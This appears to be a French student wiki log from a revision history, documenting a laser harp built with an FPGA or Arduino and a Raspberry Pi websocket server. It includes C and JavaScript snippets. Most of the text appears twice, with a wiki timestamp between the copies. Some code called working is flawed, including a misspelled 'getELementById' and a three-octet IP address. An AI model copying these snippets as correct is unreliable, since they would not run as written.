Coté mise en place du serveur web, l'utilitaire de serveur web apache2 a été installé sans soucis, et les pages d'exemples web et javascript fonctionnent. En revanche, l'utilisation du code d'exemple sur les sockets n'est pas utilisable, le paquet proposé n’existe pas et le site du paquet de socket est mort.
Le reste de la séance a été consacré a des recherches sur les moyens de pouvoir streamer du son, recherches non concluantes. Aucune solution n'a été trouvé sans passer par un service internet hébergé par un tier.

==== Partie lecture port série ====

Cette première séance fut consacrée à la sélection du langage de programmation et à sa prise en main. Il a été décidé d'utiliser Python pour écrire le programme récupérant et traitant les données récupérées à travers le port série. Python étant un langage fort usité, il possède une très large documentation. Ce fut donc facile de trouver la librairie permettant de lire les données envoyées par le port série.

Un doute subsiste encore sur le type de données envoyé par le port série. L'idéal serait de récupérer un tableau de 8 entiers de type binaire correspondant aux états des 8 ports liés aux "cordes" laser, pour pouvoir ensuite traiter ces données facilement.

== Séance 2 ==

=== Partie électronique ===
Lors de cette séance, nous avons réalisé le premier circuit sur le FPGA.

Nous avons commencé par réaliser un circuit simple, qui envoie en permanence l'état des huit phototransistors au port série. Les phototransistors sont alors directement reliés à celui-ci. Nous avons pu tester le bon fonctionnement du système grâce aux diodes du FPGA. Nous avons branché en parallèle sur le circuit les huit diodes, afin de vérifier qu'un signal était bien envoyé en permanence, on a pu les voir s'éteindre lorsqu'on éclairait un laser.
Ces diodes se sont avérées très utiles, car il n'est pas encore possible d'effectuer les tests sur le port série, car la partie informatique n'est pas encore opérationnelle, on ne peut donc pas lire directement sur le port série pour le moment.

'Insérer montage d'envoi constant ici'

Nous avons ensuite réalisé un montage permettant de faire l'envoi seulement sur changement d'état, comme prévu à la séance 1 Nous avons donc réalisé un système de bascules permettant de comparer l'état actuel de chaque diode avec son état précédent, puis de réaliser l'envoi seulement si une différence était observée. Comme précédemment, les diodes sont reliées directement au Port Série, mais cette fois-ci au lieu de brancher le Bit d'envoi du port Série sur un Vcc, soit un '1' logique, nous l'avons relié à la vérification de changement d'état, qui passe à '1' uniquement avec un changement d'état.

'Insérer montage d'envoi sur changement d'état ici'

Le problème qui s'est alors posé était de savoir si on envoyait le signal assez longtemps pour qu'il puisse être lu. En effet on envoie un signal seulement si il y a changement d'état, et cette vérification se fait à chaque incrément d'horloge. Hors, la différence sera donc observée sur un seul incrément d'horloge, par conséquent, on n'envoie de signal que pendant ce seul incrément. Pour l'instant, nous supposons que le port série est capable de stocker les données à envoyer en un seul incrément d'horloge.
Cependant, si lors des tests, ça ne fonctionne pas, nous prévoyons d'utiliser un compteur pour pouvoir envoyer le signal plus longtemps au Bit d'envoi du port série, et ainsi laisser le temps au port série d'envoyer l'information.

=== Partie boitier ===

Pendant cette séance, nous nous sommes focalisés sur le FPGA, mais nous avons néanmoins terminé la conception du boitier de la harpe, sous la forme de trois 'boites' crénelées, que nous avons ensuite l'intention de découper au FabLab puis d'assembler.

'insérer photos des boites ici'

Il s'est avéré que réaliser des boites crénelées rendrait tout le boitier beaucoup plus solide, et donc fiable.

=== Partie informatique ===
Le problème de l'impossibilité d'utiliser l'exemple sur les sockets a été résolu, grâce à l'intervention de M. Redon. Le problème était une différence de version de la distribution Linux entre le RPi utilisé et celle utilisé pour l'exemple. En effet, le RPi de travail est sur une distribution Wheezy, alors que la version la plus récente est la Jessie. Les chemins des dépots des sources de la librairie libwebsocket n’existant pas sur Wheezy, on ne pouvait installer la librairie directement en ligne de commande. M. Redon a ajouté le chemin de la librairie dans le gestionnaire de paquet du RPi et on a pu utiliser sans problèmes la librairie. De plus le site du paquet libwebsocket n'était inaccessible que temporairement.
La séance a été consacré à comprendre le fonctionnement des sockets et comment l'exemple html interagissait avec.

La partie importante du code d'exemple est la suivante :

<pre>static int callback_my(
struct libwebsocket_context * this,
struct libwebsocket *wsi,enum libwebsocket_callback_reasons reason,
void *user,void *in,size_t len)
{
static char *message=NULL;
static int msize=0;
switch(reason){
case LWS_CALLBACK_ESTABLISHED:
printf("connection established\n");
message=NULL;
// Declenchement d'un prochain envoi au navigateur
libwebsocket_callback_on_writable(this,wsi);
break;
case LWS_CALLBACK_RECEIVE:
// Ici sont traites les messages envoyes par le navigateur
printf("received data: %s\n",(char *)in);
message=malloc(len+LWS_SEND_BUFFER_PRE_PADDING+LWS_SEND_BUFFER_POST_PADDING);
if(message==NULL){ perror("callback_my.malloc"); exit(EXIT_FAILURE); }
memcpy(message+LWS_SEND_BUFFER_PRE_PADDING,in,len);
// Declenchement d'un prochain envoi au navigateur
msize=len;
libwebsocket_callback_on_writable(this,wsi);
break;
case LWS_CALLBACK_SERVER_WRITEABLE:
// Ici sont envoyes les messages au navigateur
if(message!=NULL){
char *out=message+LWS_SEND_BUFFER_PRE_PADDING;
libwebsocket_write(wsi,(unsigned char *)out,msize,LWS_WRITE_TEXT);
free(message);
message=NULL;
}
break;
default:
break;
}
return 0;
}
</pre>
Il s'agit d'une fonction de callback gérant à la fois la réception et la transmission. On peut remarquer 3 cas du switch : LWS_CALLBACK_ESTABLISHED correspondant à la création d'un lien entre la page web et le serveur websocket à la demande de la page web, LWS_CALLBACK_RECEIVE correspondant aux actions à entreprendre à la réception d'un message provenant du navigateur web, et LWS_CALLBACK_SERVER_WRITEABLE correspondant aux actions afin d'envoyer un message au navigateur.

Coté HTML, on utilise les sockets grâce à ce code suivant :

<pre>window.WebSocket=(window.WebSocket||window.MozWebSocket);
var websocket=new WebSocket('ws://127.0.0.1:9000','myprotocol');
websocket.onopen=function(){ $('h1').css('color','green'); };
websocket.onerror=function(){ $('h1').css('color','red'); };
websocket.onmessage=function(message){
console.log(message.data);
$('#messages').append($('<p>',{ text: message.data }));
};
function sendMessage(){
websocket.send($('#message').val());
$('#message').val('');
}</pre>

La fonction websocket.onmessage gère le traitement à faire coté client quand le serveur envoie des informations, et la fonction sendMessage permet l'envoie d'information du client vers le serveur.

Pour notre projet, nous avons besoin principalement, dans un premier temps, d'envoyer des informations du serveur vers le client, nous nous sommes donc concentrer à comprendre et modifier les parties du code fourni suivantes : websocket.onmessage coté client et le "case LWS_CALLBACK_SERVER_WRITEABLE:" coté serveur.

Le but des tests était de réussir à faire jouer deux sons différents par le client, avec changement de son imposé par le serveur. HTML5 propose nativement de lire des sons à partir d'une source grâce à une balise audio :

<audio controls="controls" id="mySound">
</audio>

On récupère l'identifiant de cette balise avec

var test1 = document.getElementById("mySound");

afin de pouvoir l'utiliser de n'importe où dans le programme.
On définit la source grâce à

test1.src="sound.mp3";

avec "sound.mp3" le chemin d'accès au fichier son par rapport à l'emplacement du fichier html sur le serveur. Ici, le fichier son sound.mp3 est dans le même dossier que la page index.html.
Enfin, on peut lire le son avec

test1.play();

Le but du projet étant d'émettre en continue le son généré par la harpe, l'objectif ici est soit de générer un fichier de streaming que l'on lit en continue, soit de lire un fichier différent par son possible et on change la valeur de test1.src en fonction du son à lire, soit on lit toujours la même source, mais que l'on modifie à la volée en fonction du son voulu. La première option a été étudiée jusqu'en fin de séance.
Nous n'avons pas réussi à comprendre comment générer un fichier de streaming audio simple, de plus toutes les documentations et exemples trouvés ne concernant qu'un streaming simultanée de son et de vidéo à partir d'une caméra et d'un micro, et nous n'avons pas compris comment adapter ces exemples.

== Séance 3 ==

=== Partie électronique ===

Pendant cette séance, nous avons pu tester l'envoi sur changement d'état, toujours avec les diodes du FPGA.

Nous avons commencé par ajouter une horloge sur le détecteur de changement d'état, afin d'augmenter le nombre d'incréments d'horloge sur lequel il est à '1', et ce dans le but de rendre le clignotement d'un diode visible à l’œil nu.
Ensuite, nous avons relié la sortie du détecteur de changement d'état et des phototransistors par un 'ET' logique, que nous avons ensuite relié aux diodes du FPGA.
De cette façon, si l'on détecte un changement d'état sur un phototransistor, la nouvelle valeur est alors envoyée sur les diodes. Le système a fonctionné (à voir :p ).

'insérer photos du test avec changement d'état ici'

Nous avons ensuite passé le reste de la séance à mettre en commun notre partie avec la partie informatique, en essayant de leur permettre de lire sur le port série du FPGA. Les essais ont pour l'instant été infructueux, mais des progrès ont été faits.

L'objectif étant que le Raspberry Pi puisse lire les informations envoyées par le FPGA, pour ensuite les transmettre au site Web que nous allons réaliser par la suite.

=== Partie informatique ===
Au vu des difficultés rencontrées lors de la mise en place d'un véritable système de streaming, nous avons décider d'étudier les autres options possibles.
Notre deuxième solution était de modifier la valeur de test1.src. Mais cela voulait dire effectuer beaucoup de traitement coté client, et si on décidait de rajouter beaucoup de son, ou de générer de nouveaux fichiers son, ce la demandait soit de modifier le HTML à chaque ajout de fonctionnalité, ou de créer une grande quantité de fichier son qui pollueraient le serveur. Nous avons donc décidé qu'il serait plus pratique de toujours écraser la source avec le nouveau son a lire, et de ne jamais changer la valeur de test1.src.

Afin d'effectuer des tests afin de voir si notre idée marchait bien, nous avons utiliser le code C très simple suivant :

<pre>int cpt;
for (cpt = 0; cpt < 250000000; cpt++);

boole = !boole;
printf("changement: %d\n",boole);
if(boole)
system("sudo cp Level-complete-sound-effect.mp3 ./sound.mp3");
else
system("sudo cp Raindrops-noise.mp3 ./sound.mp3");
}</pre>

Ce code nous permet de modifier assez fréquemment le fichier source. Les fichiers audio de tests ont été trouvé sur http://www.orangefreesounds.com/ et sont libre de droit.

Dans la page HTML de test nous utilisé les options de la balise source suivante :

test1.loop = true;

qui permet au son de se jouer en boucle.

Bien que les fichiers soit bien modifiés en local sur le serveur, toujours le même son est joué.

On a donc testé de recharger le son uniquement lorsque le son est modifié, avec un envoi de message du serveur par socket.
Le serveur est conçu tel que suit :
<pre>while(1){
int cpt;
bool boole;
boole = 1;
for (cpt = 0; cpt < 50000; cpt++);

boole = !boole;

if(boole)
system("cp Level-complete-sound-effect.mp3 ./sound.mp3");
else
system("cp Raindrops-noise.mp3 ./sound.mp3");

libwebsocket_write(test,(unsigned char *)out,1,LWS_WRITE_TEXT);

}
libwebsocket_context_destroy(context);
return 0;
}</pre>

On modifie la source, et ensuite on envoi un message, dont le contenu n'est pas important, le message sert juste d'indication au client que la source a changé.

Le code coté client :

<pre>websocket.onmessage=function(message){
test1.pause();
test1.load();
test1.play();
};</pre>

A la réception d'un message, on pause le son avec test1.pause() puis on recharge le son afin d'aller chercher la valeur actuelle de la source, puis on relance le son avec test1.play().
D'après la documentation technique de HTML5, la fonction load() est sensé recharger la source si elle a changé, mais le résultat de ce test n'est pas concluant : le client joue toujours le même son.
Nous ne comprenons pas pourquoi.

== Séance supplémentaire 1 : Réalisation du site Web ==

Nous avons réalisé ce site web lors de notre temps libre afin de permettre la communication entre le Raspberry Pi et l'ordinateur. En effet, il était inclus dans notre projet de devoir réaliser une communication par internet. Ce site internet va donc remplir cette condition. Sur celui-ci, on pourra trouver une brève description de notre projet, un lien vers le wiki, une image exemple d'un harpe et les boutons Play et Pause qui permettent d'activer et de désactiver la harpe laser.
==== Partie websocket et échange d'information ====
Après de nombreux tests sur la communication entre le serveur et le client web et le problème de toujours lire le même son, même si la source a été modifié, il s'est avéré que le client lisait toujours le même son quoi qu'il arrive, même si le fichier cible n’existait plus sur le serveur. Comprendre pourquoi a nécessité quelque recherche et la source du problème était la suivante : les navigateurs utilisés, Mozilla Firefox et Google Chrome, mettaient en cache le fichier son à la première lecture, et ne vérifiait plus l'état du fichier sur le serveur, fichier qui donc pouvait être modifié sans que cela n'ai un impact sur le déroulement coté client. Il a fallut trouver un moyen de contourner le cache. N'ayant aucune connaissance sur le domaine, les recherches ont été infructueuses. Suite à une conversation avec M. Rudametkin, nous avons été orienté vers ce lien https://stackoverflow.com/questions/1077041/refresh-image-with-a-new-one-at-the-same-url/1077051#1077051 qui nous a permit de résoudre le problème.
En utilisant la commande :

test1.src="sound.mp3?"+ new Date().getTime();

nous trompons le cache en forçant la revérification de la source sur le serveur. Grâce a cette méthode nous avons enfin réussi à modifier le son joué par le client, et nous avons pu passer à la gestion de la communication série entre le RPi et le FPGA/Arduino.

Le code fonctionnel de la page web est le suivant :

<pre><!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<audio controls="controls" id="mySound">
</audio>
<script
src="jquery.js"></script>
<script type="text/javascript">
window.WebSocket=(window.WebSocket||window.MozWebSocket);

var websocket=new WebSocket('ws://10.42.93:9000','myprotocol');
var test1 = document.getElementById("mySound");
test1.src="sound.mp3";
test1.autoplay = true;
websocket.onopen=function(){ $('h1').css('color','green'); };

websocket.onerror=function(){ $('h1').css('color','red'); };

websocket.onmessage=function(message){
test1.pause();
test1.src="sound.mp3?"+ new Date().getTime();
test1.load();
test1.play();
};

function sendMessage(){
websocket.send($('#message').val());
$('#message').val('');
}

var son = document.getELementById("sound");
son.loop = true;

</script>
</head>
<body>
<h1>WebSockets test</h1>
<input type="text" id="message"/>
<button onclick="sendMessage();">Send</button>
<div id="messages"></div>
</body>
</html>
</pre>

Ce code n'est pas la version final, juste l'ensemble des parties logiques et fonctionnelles de la page web.

== Séance supplémentaire 2 : Réalisation du programme secondaire sur Arduino 'en cas de problèmes' ==

Nous nous sommes réunis à plusieurs occasions en dehors des heures de projet afin d'avancer sur notre harpe. Nous avons donc décidé que nous devions réaliser un programme sur Arduino nous permettant de réaliser des tests de transmission par la liaison série sans avoir besoin du FPGA. Dans un premier temps, nous avons tenté d'utiliser le port USB comme liaison série. Cependant, il s'est avéré que le Raspberry pi ne pouvait pas lire son port USB, ce qui nous a donc forcé à utiliser les pins de communication série de l'Arduino.
Nous sommes sur un Arduino Mega 2560, nous avons a notre disposition plusieurs pins de communication série différents. Ils seront utilisés uniquement en transmission. Pour communiquer, nous allons ensuite utiliser le pin Tx1. Nous aboutissons donc au programme suivant:

[[Fichier:Setup.PNG]]

[[Fichier:Captprog.PNG]]

La communication série de ce programme nous a causé des problèmes, surtout du fait que l'ordinateur ne recevait pas les informations transmises par l'Arduino. Nous avons donc du effectuer de multiples tests afin de voir où se situait le problème. Nous avons pu déterminer que nous avions un problème au niveau de notre pont diviseur de tension entre l'alimentation de l’Arduino et celle du Raspberry Pi, nous avons alors changé les résistances.
Nous avons également notamment modifié le programme afin de vérifier que l'information était bien transmise sur le Pin Série de l'Arduino, et que le problème ne venait donc pas de l'Arduino mais bien du Raspberry, dont le port série était mal configuré.

== Séance supplémentaire 3 : Assemblage de la boite et mise en place des composants ==

== Conclusion ==

Projet IMA3 P5, 2016/2017, TD1

2017-06-12T10:09:15Z

Bcartier : /* Séance supplémentaire 2 : Réalisation du programme secondaire sur Arduino 'en cas de problèmes' */

= Projet IMA3-SC 2016/2017 : Synt'Harpe (Sainte) Laser =

== Cahier des charges ==

=== Description du système ===

Pour le projet Système Communicant, nous allons réaliser une harpe laser. Notre but est de créer un instrument de musique similaire à une harpe, où les cordes sont remplacées par des capteurs infra-rouges.

Un son sera émis par l'ordinateur dès que le capteur IR captera une main et le joueur pourra avec son autre main moduler l'amplitude de la note.

Dans un premier temps, on travaillera sur une gamme de son sur 8 bits. Puis, nous implémenterons une banque de sons qui nous permettra de sélectionner l'instrument désiré, d'où l'appellation Synt'Harpe.

L'ordinateur décidera du fonctionnement ou non de la harpe. C'est aussi grâce à lui qu'on pourra choisir la banque de sons voulue.

Toutes les banques de sons seront enregistrées sur le Raspberry.
Les LEDs signaleront l'emplacement des cordes.

Pour la partie optionnelle, on remplacera les LEDs par des lasers pour un effet visuel de qualité (plus poussé). La fumée permettra de voir les lasers.

=== Le matériel ===
* Un raspberry pi
* 8 phototransistors
* 8 émetteurs lasers
* Des résistances
* Une structure
* Carte d'acquisition de type Arduino au début puis FPGA
* Un ordinateur
* Une alimentation

=== Optionnel (visuel) ===

* 8 émetteurs laser
* Un générateur de fumée
* Une caméra

== Séance 1 ==

=== Partie électronique ===
Le but de cette première séance était de se répartir les tâches, de tester le matériel mit à disposition et de découvrir le fonctionnement du FPGA.

Le principe de fonctionnement de la harpe est le suivant:
Chaque capteur sera situé en face d'un laser. Les capteurs seront dans la partie haute de la harpe afin de limiter les interférences dues à d'autres sources lumineuses. Chaque laser pointera vers un capteur.

* Ajout du dessin de la harpe *

Les capteurs enverront tous par défaut la même valeur au FPGA. Quand l'utilisateur passera sa main dans la harpe, un faisceau laser sera coupé. Le capteur n'enverra plus sa valeur seuil au FPGA, il aura donc changé d'état.
Dès lors que le FPGA détectera un changement d'état, il enverra l'état dans lequel se trouvent les 8 capteurs au Raspberry.

Nous avons réalisé des tests sur les phototransistors et les lasers. Nous avons mis en parallèle un laser et deux capteurs, sans oublier leur résistance de 1.2k Ohms chacune.

Nous avons vu que à luminosité ambiante, quand le laser pointe sur le capteur, celui-ci envoie à l'Arduino une valeur de 950 environ. Ensuite, quand le faisceau laser est coupé, la valeur envoyée par le phototransistor monte à 1020.
Puis, nous avons réitéré l'expérience en mettant le système dans une boîte. Cette fois, le valeur est passée de 840 quand le capteur est éclairé par le laser à 900 quand le faisceau est coupé.
Nous en avons déduit que nous allons devoir refaire l'expérience une fois la harpe assemblée.

Les lasers étant très directionnels tout comme les phototransistors, nous n'aurons pas de soucis d'interférences. Un capteur détectera uniquement le laser situé directement en face de lui et non ceux de son voisinage.

=== Partie boitier ===

Même si il peut paraitre futile d'insérer une partie boitier dans un projet centré sur l'informatique et l'électronique, il s'est avéré que le boitier de notre Harpe nécessitait une attention particulière.

La taille de la harpe à été un sujet de débat, et nous avons réalisé des tests afin de vérifier que des phototransistors trop proches les uns des autres n'allait pas compromettre le bon fonctionnement de la harpe dans son ensemble. En effet, si le phototransistor détectait un autre laser que celui vers lequel il pointe serait extrêmement problématique. Heureusement, il s'est avéré que les phototransistors sont très directionnels, au point que se pose désormais le problème inverse.

Nous allons devoir faire très attention au fait que les lasers soient bien fixés et pointent exactement vers les phototransistors, car dans le cas contraire, ceux-ci ne détectent absolument pas le laser, et tout le principe de fonctionnement s'effondre. La conception et l'assemblage de la boite devront donc être relativement précis, pour éviter ces problèmes.

Enfin, nous avons dès le départ décidé d'éviter l'utilisation de diodes infra-rouges, pour leur préférer les lasers. Tout d'abord, parce que les diodes ne sont en aucun cas assez puissantes pour être détectées par les phototransistors, ce qui une fois de plus rend notre harpe inutile. Ensuite, parce qu'il nous a semblé que réaliser une harpe 'laser' sans lasers était un concept déconcertant, et enlève beaucoup de l’intérêt de ce projet.

Un premier jet de design avait été réalisé avant cette séance, et au vu des données récoltées pendant celle-ci, nous l'avons modifié pour les prendre en compte, notamment la taille des lasers par rapport aux diodes, et la précision requise.

'insérer photos premiers schémas ici'

=== Partie informatique ===
Le travail a été séparé en 2 parties, une personne par partie :
- une première partie sur le serveur même (page web, système de streaming de son depuis la page web)
- une seconde partie sur la lecture du port série

==== Partie serveur ====
La première séance a été consacré à deux grands axes : prendre la main à distance sur le raspberry pi et mettre en place le serveur web.
Afin de pouvoir contrôler et travailler facilement sur le RPi, l'outil vncserver a été installé sur le raspberry, permettant de contrôler via un interface graphique le RPi depuis un ordinateur branché sur le même réseau. Cet utilitaire permettra a l'avenir de travailler directement sur le RPi sans devoir constamment uploader par ssh le travail effectué.

Coté mise en place du serveur web, l'utilitaire de serveur web apache2 a été installé sans soucis, et les pages d'exemples web et javascript fonctionnent. En revanche, l'utilisation du code d'exemple sur les sockets n'est pas utilisable, le paquet proposé n’existe pas et le site du paquet de socket est mort.
Le reste de la séance a été consacré a des recherches sur les moyens de pouvoir streamer du son, recherches non concluantes. Aucune solution n'a été trouvé sans passer par un service internet hébergé par un tier.

==== Partie lecture port série ====

Cette première séance fut consacrée à la sélection du langage de programmation et à sa prise en main. Il a été décidé d'utiliser Python pour écrire le programme récupérant et traitant les données récupérées à travers le port série. Python étant un langage fort usité, il possède une très large documentation. Ce fut donc facile de trouver la librairie permettant de lire les données envoyées par le port série.

Un doute subsiste encore sur le type de données envoyé par le port série. L'idéal serait de récupérer un tableau de 8 entiers de type binaire correspondant aux états des 8 ports liés aux "cordes" laser, pour pouvoir ensuite traiter ces données facilement.

== Séance 2 ==

=== Partie électronique ===
Lors de cette séance, nous avons réalisé le premier circuit sur le FPGA.

Nous avons commencé par réaliser un circuit simple, qui envoie en permanence l'état des huit phototransistors au port série. Les phototransistors sont alors directement reliés à celui-ci. Nous avons pu tester le bon fonctionnement du système grâce aux diodes du FPGA. Nous avons branché en parallèle sur le circuit les huit diodes, afin de vérifier qu'un signal était bien envoyé en permanence, on a pu les voir s'éteindre lorsqu'on éclairait un laser.
Ces diodes se sont avérées très utiles, car il n'est pas encore possible d'effectuer les tests sur le port série, car la partie informatique n'est pas encore opérationnelle, on ne peut donc pas lire directement sur le port série pour le moment.

'Insérer montage d'envoi constant ici'

Nous avons ensuite réalisé un montage permettant de faire l'envoi seulement sur changement d'état, comme prévu à la séance 1 Nous avons donc réalisé un système de bascules permettant de comparer l'état actuel de chaque diode avec son état précédent, puis de réaliser l'envoi seulement si une différence était observée. Comme précédemment, les diodes sont reliées directement au Port Série, mais cette fois-ci au lieu de brancher le Bit d'envoi du port Série sur un Vcc, soit un '1' logique, nous l'avons relié à la vérification de changement d'état, qui passe à '1' uniquement avec un changement d'état.

'Insérer montage d'envoi sur changement d'état ici'

Le problème qui s'est alors posé était de savoir si on envoyait le signal assez longtemps pour qu'il puisse être lu. En effet on envoie un signal seulement si il y a changement d'état, et cette vérification se fait à chaque incrément d'horloge. Hors, la différence sera donc observée sur un seul incrément d'horloge, par conséquent, on n'envoie de signal que pendant ce seul incrément. Pour l'instant, nous supposons que le port série est capable de stocker les données à envoyer en un seul incrément d'horloge.
Cependant, si lors des tests, ça ne fonctionne pas, nous prévoyons d'utiliser un compteur pour pouvoir envoyer le signal plus longtemps au Bit d'envoi du port série, et ainsi laisser le temps au port série d'envoyer l'information.

=== Partie boitier ===

Pendant cette séance, nous nous sommes focalisés sur le FPGA, mais nous avons néanmoins terminé la conception du boitier de la harpe, sous la forme de trois 'boites' crénelées, que nous avons ensuite l'intention de découper au FabLab puis d'assembler.

'insérer photos des boites ici'

Il s'est avéré que réaliser des boites crénelées rendrait tout le boitier beaucoup plus solide, et donc fiable.

=== Partie informatique ===
Le problème de l'impossibilité d'utiliser l'exemple sur les sockets a été résolu, grâce à l'intervention de M. Redon. Le problème était une différence de version de la distribution Linux entre le RPi utilisé et celle utilisé pour l'exemple. En effet, le RPi de travail est sur une distribution Wheezy, alors que la version la plus récente est la Jessie. Les chemins des dépots des sources de la librairie libwebsocket n’existant pas sur Wheezy, on ne pouvait installer la librairie directement en ligne de commande. M. Redon a ajouté le chemin de la librairie dans le gestionnaire de paquet du RPi et on a pu utiliser sans problèmes la librairie. De plus le site du paquet libwebsocket n'était inaccessible que temporairement.
La séance a été consacré à comprendre le fonctionnement des sockets et comment l'exemple html interagissait avec.

La partie importante du code d'exemple est la suivante :

<pre>static int callback_my(
struct libwebsocket_context * this,
struct libwebsocket *wsi,enum libwebsocket_callback_reasons reason,
void *user,void *in,size_t len)
{
static char *message=NULL;
static int msize=0;
switch(reason){
case LWS_CALLBACK_ESTABLISHED:
printf("connection established\n");
message=NULL;
// Declenchement d'un prochain envoi au navigateur
libwebsocket_callback_on_writable(this,wsi);
break;
case LWS_CALLBACK_RECEIVE:
// Ici sont traites les messages envoyes par le navigateur
printf("received data: %s\n",(char *)in);
message=malloc(len+LWS_SEND_BUFFER_PRE_PADDING+LWS_SEND_BUFFER_POST_PADDING);
if(message==NULL){ perror("callback_my.malloc"); exit(EXIT_FAILURE); }
memcpy(message+LWS_SEND_BUFFER_PRE_PADDING,in,len);
// Declenchement d'un prochain envoi au navigateur
msize=len;
libwebsocket_callback_on_writable(this,wsi);
break;
case LWS_CALLBACK_SERVER_WRITEABLE:
// Ici sont envoyes les messages au navigateur
if(message!=NULL){
char *out=message+LWS_SEND_BUFFER_PRE_PADDING;
libwebsocket_write(wsi,(unsigned char *)out,msize,LWS_WRITE_TEXT);
free(message);
message=NULL;
}
break;
default:
break;
}
return 0;
}
</pre>
Il s'agit d'une fonction de callback gérant à la fois la réception et la transmission. On peut remarquer 3 cas du switch : LWS_CALLBACK_ESTABLISHED correspondant à la création d'un lien entre la page web et le serveur websocket à la demande de la page web, LWS_CALLBACK_RECEIVE correspondant aux actions à entreprendre à la réception d'un message provenant du navigateur web, et LWS_CALLBACK_SERVER_WRITEABLE correspondant aux actions afin d'envoyer un message au navigateur.

Coté HTML, on utilise les sockets grâce à ce code suivant :

<pre>window.WebSocket=(window.WebSocket||window.MozWebSocket);
var websocket=new WebSocket('ws://127.0.0.1:9000','myprotocol');
websocket.onopen=function(){ $('h1').css('color','green'); };
websocket.onerror=function(){ $('h1').css('color','red'); };
websocket.onmessage=function(message){
console.log(message.data);
$('#messages').append($('<p>',{ text: message.data }));
};
function sendMessage(){
websocket.send($('#message').val());
$('#message').val('');
}</pre>

La fonction websocket.onmessage gère le traitement à faire coté client quand le serveur envoie des informations, et la fonction sendMessage permet l'envoie d'information du client vers le serveur.

Pour notre projet, nous avons besoin principalement, dans un premier temps, d'envoyer des informations du serveur vers le client, nous nous sommes donc concentrer à comprendre et modifier les parties du code fourni suivantes : websocket.onmessage coté client et le "case LWS_CALLBACK_SERVER_WRITEABLE:" coté serveur.

Le but des tests était de réussir à faire jouer deux sons différents par le client, avec changement de son imposé par le serveur. HTML5 propose nativement de lire des sons à partir d'une source grâce à une balise audio :

<audio controls="controls" id="mySound">
</audio>

On récupère l'identifiant de cette balise avec

var test1 = document.getElementById("mySound");

afin de pouvoir l'utiliser de n'importe où dans le programme.
On définit la source grâce à

test1.src="sound.mp3";

avec "sound.mp3" le chemin d'accès au fichier son par rapport à l'emplacement du fichier html sur le serveur. Ici, le fichier son sound.mp3 est dans le même dossier que la page index.html.
Enfin, on peut lire le son avec

test1.play();

Le but du projet étant d'émettre en continue le son généré par la harpe, l'objectif ici est soit de générer un fichier de streaming que l'on lit en continue, soit de lire un fichier différent par son possible et on change la valeur de test1.src en fonction du son à lire, soit on lit toujours la même source, mais que l'on modifie à la volée en fonction du son voulu. La première option a été étudiée jusqu'en fin de séance.
Nous n'avons pas réussi à comprendre comment générer un fichier de streaming audio simple, de plus toutes les documentations et exemples trouvés ne concernant qu'un streaming simultanée de son et de vidéo à partir d'une caméra et d'un micro, et nous n'avons pas compris comment adapter ces exemples.

== Séance 3 ==

=== Partie électronique ===

Pendant cette séance, nous avons pu tester l'envoi sur changement d'état, toujours avec les diodes du FPGA.

Nous avons commencé par ajouter une horloge sur le détecteur de changement d'état, afin d'augmenter le nombre d'incréments d'horloge sur lequel il est à '1', et ce dans le but de rendre le clignotement d'un diode visible à l’œil nu.
Ensuite, nous avons relié la sortie du détecteur de changement d'état et des phototransistors par un 'ET' logique, que nous avons ensuite relié aux diodes du FPGA.
De cette façon, si l'on détecte un changement d'état sur un phototransistor, la nouvelle valeur est alors envoyée sur les diodes. Le système a fonctionné (à voir :p ).

'insérer photos du test avec changement d'état ici'

Nous avons ensuite passé le reste de la séance à mettre en commun notre partie avec la partie informatique, en essayant de leur permettre de lire sur le port série du FPGA. Les essais ont pour l'instant été infructueux, mais des progrès ont été faits.

L'objectif étant que le Raspberry Pi puisse lire les informations envoyées par le FPGA, pour ensuite les transmettre au site Web que nous allons réaliser par la suite.

=== Partie informatique ===
Au vu des difficultés rencontrées lors de la mise en place d'un véritable système de streaming, nous avons décider d'étudier les autres options possibles.
Notre deuxième solution était de modifier la valeur de test1.src. Mais cela voulait dire effectuer beaucoup de traitement coté client, et si on décidait de rajouter beaucoup de son, ou de générer de nouveaux fichiers son, ce la demandait soit de modifier le HTML à chaque ajout de fonctionnalité, ou de créer une grande quantité de fichier son qui pollueraient le serveur. Nous avons donc décidé qu'il serait plus pratique de toujours écraser la source avec le nouveau son a lire, et de ne jamais changer la valeur de test1.src.

Afin d'effectuer des tests afin de voir si notre idée marchait bien, nous avons utiliser le code C très simple suivant :

<pre>int cpt;
for (cpt = 0; cpt < 250000000; cpt++);

boole = !boole;
printf("changement: %d\n",boole);
if(boole)
system("sudo cp Level-complete-sound-effect.mp3 ./sound.mp3");
else
system("sudo cp Raindrops-noise.mp3 ./sound.mp3");
}</pre>

Ce code nous permet de modifier assez fréquemment le fichier source. Les fichiers audio de tests ont été trouvé sur http://www.orangefreesounds.com/ et sont libre de droit.

Dans la page HTML de test nous utilisé les options de la balise source suivante :

test1.loop = true;

qui permet au son de se jouer en boucle.

Bien que les fichiers soit bien modifiés en local sur le serveur, toujours le même son est joué.

On a donc testé de recharger le son uniquement lorsque le son est modifié, avec un envoi de message du serveur par socket.
Le serveur est conçu tel que suit :
<pre>while(1){
int cpt;
bool boole;
boole = 1;
for (cpt = 0; cpt < 50000; cpt++);

boole = !boole;

if(boole)
system("cp Level-complete-sound-effect.mp3 ./sound.mp3");
else
system("cp Raindrops-noise.mp3 ./sound.mp3");

libwebsocket_write(test,(unsigned char *)out,1,LWS_WRITE_TEXT);

}
libwebsocket_context_destroy(context);
return 0;
}</pre>

On modifie la source, et ensuite on envoi un message, dont le contenu n'est pas important, le message sert juste d'indication au client que la source a changé.

Le code coté client :

<pre>websocket.onmessage=function(message){
test1.pause();
test1.load();
test1.play();
};</pre>

A la réception d'un message, on pause le son avec test1.pause() puis on recharge le son afin d'aller chercher la valeur actuelle de la source, puis on relance le son avec test1.play().
D'après la documentation technique de HTML5, la fonction load() est sensé recharger la source si elle a changé, mais le résultat de ce test n'est pas concluant : le client joue toujours le même son.
Nous ne comprenons pas pourquoi.

== Séance supplémentaire 1 : Réalisation du site Web ==

Nous avons réalisé ce site web lors de notre temps libre afin de permettre la communication entre le Raspberry Pi et l'ordinateur. En effet, il était inclus dans notre projet de devoir réaliser une communication par internet. Ce site internet va donc remplir cette condition. Sur celui-ci, on pourra trouver une brève description de notre projet, un lien vers le wiki, une image exemple d'un harpe et les boutons Play et Pause qui permettent d'activer et de désactiver la harpe laser.

